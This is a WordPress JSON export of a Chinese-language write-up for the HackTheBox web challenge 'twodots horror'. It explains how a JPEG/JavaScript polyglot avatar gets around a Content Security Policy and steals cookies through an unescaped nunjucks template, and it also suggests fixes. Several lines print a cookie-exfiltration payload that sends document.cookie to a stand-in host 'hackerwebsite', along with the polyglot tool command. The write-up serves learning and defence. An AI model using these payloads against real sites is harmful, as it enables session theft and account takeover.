{"id":1064,"date":"2023-12-24T11:10:14","date_gmt":"2023-12-24T03:10:14","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1064"},"modified":"2024-03-16T00:51:23","modified_gmt":"2024-03-15T16:51:23","slug":"htb-twodots-horror","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1064","title":{"rendered":"HTB twodots horror"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u76ee\u6a19\u8aaa\u660e<\/h3>\n\n\n\n<p>hackthebox\u4e0a\u7684web\u9776\u6a5f\uff0c\u540d\u7a31\u70ba<code>twodots horror<\/code>\uff0c\u60c5\u5883\u662f\u7559\u8a00\u7248\u4e0a\u50b3\u5927\u982d\u7167<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u98a8\u96aa<\/h3>\n\n\n\n<p>\u6b64\u76ee\u6a19\u767c\u73fe4\u500b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u4ee3\u78bc\u4e2d\u7684{{ post.content|safe }}\u4e0d\u6703\u57f7\u884chtml\u8f49\u7fa9\uff0c\u53ef\u5728feed\u9801\u9762\u57f7\u884cjs<\/li>\n\n\n\n<li>\u672a\u4f7f\u7528httponly\uff0c\u5c0e\u81f4cookie\u80fd\u88ab\u62ff\u8d70<\/li>\n\n\n\n<li>\u4ee3\u78bc\u4e2d\u4f7f\u7528\u7684puppeteer\u700f\u89bd\u5668\u53ef\u57f7\u884c\u5716\u7247\u5167\u7684JS<\/li>\n\n\n\n<li>\u5716\u7247\u6aa2\u67e5\u6a5f\u5236\u7121\u6cd5\u767c\u73fe\u542bJS\u7684\u5716\u7247\u4e0a\u50b3<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4fdd\u8b77\u6a5f\u5236<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528CSP(\u5167\u5bb9\u5b89\u5168\u653f\u7b56)\u9650\u5236\uff0c\u53ea\u80fd\u57f7\u884c\u540c\u57df\u540d\u7684JS\uff0c\u4e26\u7981\u6b62\u5176\u4ed6\u57df\u540d\u7684\u4efb\u4f55\u8cc7\u6e90<\/li>\n\n\n\n<li>\u91cd\u8981\u9801\u9762\u9650\u5236127.0.0.1\u5b58\u53d6<\/li>\n\n\n\n<li>\u4f7f\u7528image-size\u548cis-jpg\u6aa2\u67e5\u4e0a\u50b3\u5716\u7247<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u512a\u5316\u5efa\u8b70&nbsp;<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6392\u67e5\u6240\u6709\u4e0d\u6703\u57f7\u884chtml\u8f49\u7fa9\u7684\u5730\u65b9\u4e26\u4fee\u5fa9<\/li>\n\n\n\n<li>\u52a0\u4e0ahttponly<\/li>\n\n\n\n<li>\u4ee3\u78bc\u4e2d\u4f7f\u7528\u7121\u6cd5\u57f7\u884c\u5716\u7247xss\u7684\u700f\u89bd\u5668<\/li>\n\n\n\n<li>\u5716\u7247\u4e0a\u50b3\u529f\u80fd\u589e\u52a0\u6aa2\u67e5\u5167\u5bb9\u904e\u6ffexss<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u624b\u6cd5<\/h2>\n\n\n\n<p>\u5206\u6790\u4ee3\u78bc\u767c\u73fe\u5728feed\u9801\u9762\u63d0\u4ea4\u5167\u5bb9\u5f8c\u6703\u5e36cookie\uff0c\u800cflag\u5728cookie\u4e2d\uff0c\u6240\u4ee5\u8981\u60f3\u8fa6\u6cd5\u53d6\u5f97cookie\u5167\u5bb9<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e96\u5099\u653b\u64ca\u5716\u7247<\/h3>\n\n\n\n<p>\u96d6\u7136\u5728feed\u63d0\u4ea4\u7684\u5167\u5bb9\u4e0d\u6703\u505ahtml\u8f49\u7fa9\uff0c\u4f46\u7531\u65bccsp\u9650\u5236\uff0c\u6240\u4ee5\u9084\u662f\u7121\u6cd5\u5728feed\u9801\u9762\u63d0\u4ee5\u4e0bxss\u5c07cookie\u62ff\u8d70<\/p>\n\n\n\n<p><code>&lt;script&gt;window.location.href=\"https:\/\/hackerwebsite\/cookie?\"+document.cookie;&lt;\/script&gt;<\/code><\/p>\n\n\n\n<p>\u6240\u4ee5\u8981\u7528polyglot\u7684\u6280\u5de7\u5c07\u4ee5\u4e0b\u7247\u6bb5\u63d2\u5165\u5716\u7247\u4e2d <\/p>\n\n\n\n<p><code>window.location.href=\"https:\/\/hackerwebsite\/cookie?\"+document.cookie;<\/code><\/p>\n\n\n\n<p>\u9019\u908a\u8981\u6ce8\u610f\u7684\u662f\u5716\u7247\u5fc5\u9808\u78ba\u4fdd\u958b\u982d\u7684\u4f4d\u5143\u70bajpeg\u7684tag <code>0xFF 0xD8 0xFF<\/code>\uff0c\u5426\u5247\u7121\u6cd5\u901a\u904eisjpg\u7684\u6aa2\u67e5\u3002\u4e26\u4e14\u78ba\u4fdd\u5716\u7247\u81f3\u5c11\u8981\u5927\u65bc120*120\uff0c\u5426\u5247\u7121\u6cd5\u901a\u904eimage-size\u7684\u6aa2\u67e5\uff0c\u56e0\u70ba\u4ee5\u4e0b\u4ee3\u78bc\u6703\u505a\u6aa2\u67e5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (!isJpg(file.data)) return reject(new Error(\"Please upload a valid JPEG image!\"));\nconst dimensions = sizeOf(file.data);\nif(!(dimensions.width &amp;gt;= 120 &amp;amp;&amp;amp; dimensions.height &amp;gt;= 120)) {\n      return reject(new Error(\"Image size must be at least 120x120!\"));\n}<\/code><\/pre>\n\n\n\n<p>     <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u8b80\u53d6\u653b\u64ca\u5716\u7247XSS<\/h3>\n\n\n\n<p>\u5148\u8a3b\u518a\u4e00\u500btest\u5e33\u6236\u5f8c\u767b\u5165\uff0c\u7136\u5f8c\u4e0a\u50b3\u653b\u64ca\u5716\u7247\uff0c\u96d6\u7136\u6703\u770b\u5230\u5716\u50cf\u5df1\u640d\u58de\u4f46\u4e0d\u5f71\u97ff\u5176\u529f\u80fd<\/p>\n\n\n\n<p>\u7531\u65bcfeed\u9801\u9762\u7684\u63d0\u4ea4\u529f\u80fd\u4e0d\u6703\u5c0d\u5167\u5bb9\u505ahtml\u8f49\u7fa9\uff0c\u6240\u4ee5\u53ef\u4ee5\u63d0\u4ea4js\u8b93\u76ee\u6a19\u57f7\u884c\u3002\u7531\u65bc\u653b\u64ca\u5716\u7247\u5728api\/avatar\/test\uff0c\u56e0\u6b64js\u8b80\u53d6\u8a72\u4f4d\u7f6e\u5c31\u53ef\u4ee5\u9952\u904eCSP\u7684\u4fdd\u8b77\u6a5f\u5236\u3002<\/p>\n\n\n\n<p>\u53e6\u5916\u9084\u8981\u5728js\u5f8c\u9762\u52a02\u500b\u9ede\u4f86\u907f\u958b\u4ee3\u78bc\u7684\u904e\u6ffe\u6a5f\u5236\u3002\u7531\u65bc\u4f7f\u7528polyglot\u56e0\u6b64\u5efa\u8b70\u5b57\u7b26\u96c6\u6307\u5b9a ISO-8859-1\u3002\u6700\u5f8c\u8981\u5728feed\u9801\u9762\u63d0\u4ea4\u7684JS\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script charset=\"ISO-8859-1\" src=\"\/api\/avatar\/test\">&lt;\/script>..<\/code><\/pre>\n\n\n\n<p>\u63d0\u4ea4\u5f8c\uff0c\u7db2\u7ad9\u81ea\u5df1\u6703\u57f7\u884c\u653b\u64ca\u5716\u7247Js\u5167\u5bb9\uff0c\u5c07cookie\u9001\u5230https:\/\/hackerwebsite\/cookie?<\/p>\n\n\n\n<p>\u63a5\u8457\u53ea\u8981\u5230hackerwebsite\u4e3b\u6a5f\u67e5\u770bflag\u5167\u5bb9\u5373\u53ef<\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">CSP<\/h3>\n\n\n\n<p>\u5728\u4ee3\u78bc\u4e2d\u53ef\u4ee5\u767c\u73feCSP\u9632\u5fa1\u6a5f\u5236\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>res.setHeader(\"Content-Security-Policy\", \"default-src 'self'; object-src 'none'; style-src 'self' https:\/\/fonts.googleapis.com; font-src 'self' https:\/\/fonts.gstatic.com;\")<\/code><\/pre>\n\n\n\n<p>default-src &#8216;self&#8217;;  \u53ea\u4fe1\u4efb\u7576\u524d\u57df\u540d\uff0c\u6240\u4ee5\u653b\u64ca\u8173\u672c\u7684\u4f86\u6e90\u662f\u81ea\u5df1\u7684\u7db2\u7ad9\uff0c\u624d\u80fd\u907f\u958b\u9019\u500b\u9650\u5236<\/p>\n\n\n\n<p>object-src &#8216;none&#8217;; \u4e0d\u4fe1\u4efb\u5176\u4ed6\u4f86\u6e90\u7684object\uff0c\u4e0d\u52a0\u8f09\u4efb\u4f55\u8cc7\u6e90<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">polyglot<\/h3>\n\n\n\n<p>\u69cb\u5efa\u591a\u8a9e\u8a00javascript\/JPEG\uff0c\u53ef\u5c07xss\u653e\u5728\u5716\u7247\u5167\uff0c\u4e26\u8b93\u700f\u89bd\u5668\u57f7\u884c\u5716\u7247\u5167\u7684js\uff0c\u4e0d\u904e\u5927\u90e8\u4efd\u4e3b\u6d41\u700f\u89bd\u5668\u5df1\u4fee\u5fa9\u9019\u500b\u554f\u984c<\/p>\n\n\n\n<p>\u4f7f\u7528img_polygloter.py\u5de5\u5177\u53ef\u4ee5\u5be6\u505a\u6b64\u624b\u6cd5\uff0c\u7bc4\u4f8b\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python img_polygloter.py jpg --height 120 --width 120 --payload 'window.location.href=\"https:\/\/hackerwebsite\/cookie?\"+document.cookie;' --output jpegxss.jpg<\/code><\/pre>\n\n\n\n<p>img_polygloter.py\u5de5\u5177\u53ef\u4ee5\u5728\u6b64\u4e0b\u8f09<br><a href=\"https:\/\/github.com\/s-3ntinel\/imgjs_polygloter\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/s-3ntinel\/imgjs_polygloter<\/a><\/p>\n\n\n\n<p>\u539f\u7406\u53ef\u53c3\u8003 <br><a href=\"https:\/\/portswigger.net\/research\/bypassing-csp-using-polyglot-jpegs\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/portswigger.net\/research\/bypassing-csp-using-polyglot-jpegs<\/a><br><a href=\"https:\/\/www.cnblogs.com\/ssooking\/articles\/6144556.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.cnblogs.com\/ssooking\/articles\/6144556.html<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">nunjucks&nbsp;<\/h3>\n\n\n\n<p>\u5728nunjucks\u4e2d\uff0c\u5982\u679c\u4f7f\u7528safe\u9078\u9805\u6642\uff0c\u4e0d\u6703\u5c0d\u5167\u5bb9\u9032\u884chtml\u8f49\u7fa9\uff0c\u5b8c\u6574\u8aaa\u660e\u53ef\u4ee5\u53c3\u8003 <a href=\"https:\/\/nunjucks.bootcss.com\/templating.html\" target=\"_blank\" rel=\"noopener\">https:\/\/nunjucks.bootcss.com\/templating.html<\/a><\/p>\n\n\n\n<p>\u5728\u76ee\u6a19\u7684\u4ee3\u78bc\u4e2d\u53ef\u4ee5\u767c\u73fe post.content|safe\uff0c\u9019\u8868\u793afeed\u9801\u9762\u63d0\u4ea4\u7684\u5167\u5bb9\u4e0d\u6703\u5c0dcontent\u5167\u5bb9\u9032\u884c\u8f49\u7fa9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;div class=\"main-area\"&gt;\n    {% for post in feed %}\n    &lt;div class=\"nes-container is-post with-title\"&gt;\n        &lt;p class=\"title\"&gt;&lt;span class=\"title1\"&gt;{{ post.author }}&lt;\/span&gt;&lt;span class=\"title1\"&gt;{{ post.created_at }}&lt;\/span&gt;&lt;\/p&gt;\n        &lt;p&gt;{{ post.content|safe }}&lt;\/p&gt;\n    &lt;\/div&gt;\n    &lt;button class=\"nes-btn is-primary\"&gt;Approve&lt;\/button&gt; &lt;button class=\"nes-btn is-error\"&gt;Delete&lt;\/button&gt;&lt;br \/&gt;\n    &lt;br \/&gt;\n    {% endfor %}\n&lt;\/div&gt;<\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u70ba\u4e86\u9952\u904eCSP\u4fdd\u8b77\u6a5f\u5236,\u6240\u4ee5\u4f7f\u7528polyglot\u88fd\u4f5cxss\u5716\u7247\u4e26\u4e0a\u50b3\u5230\u76ee\u6a19\u7db2\u7ad9,\u5728\u5229\u7528\u76ee\u6a19\u672aHTML\u8f49\u7fa9\u5f31\u9ede\u57f7\u884cjs\u89f8\u767cxss\u5716\u7247\u53d6\u5f97cookie<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[45,41],"class_list":["post-1064","post","type-post","status-publish","format-standard","hentry","category-hackerskill","tag-upload","tag-xss"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1064","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1064"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1064\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1064"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1064"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1064"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}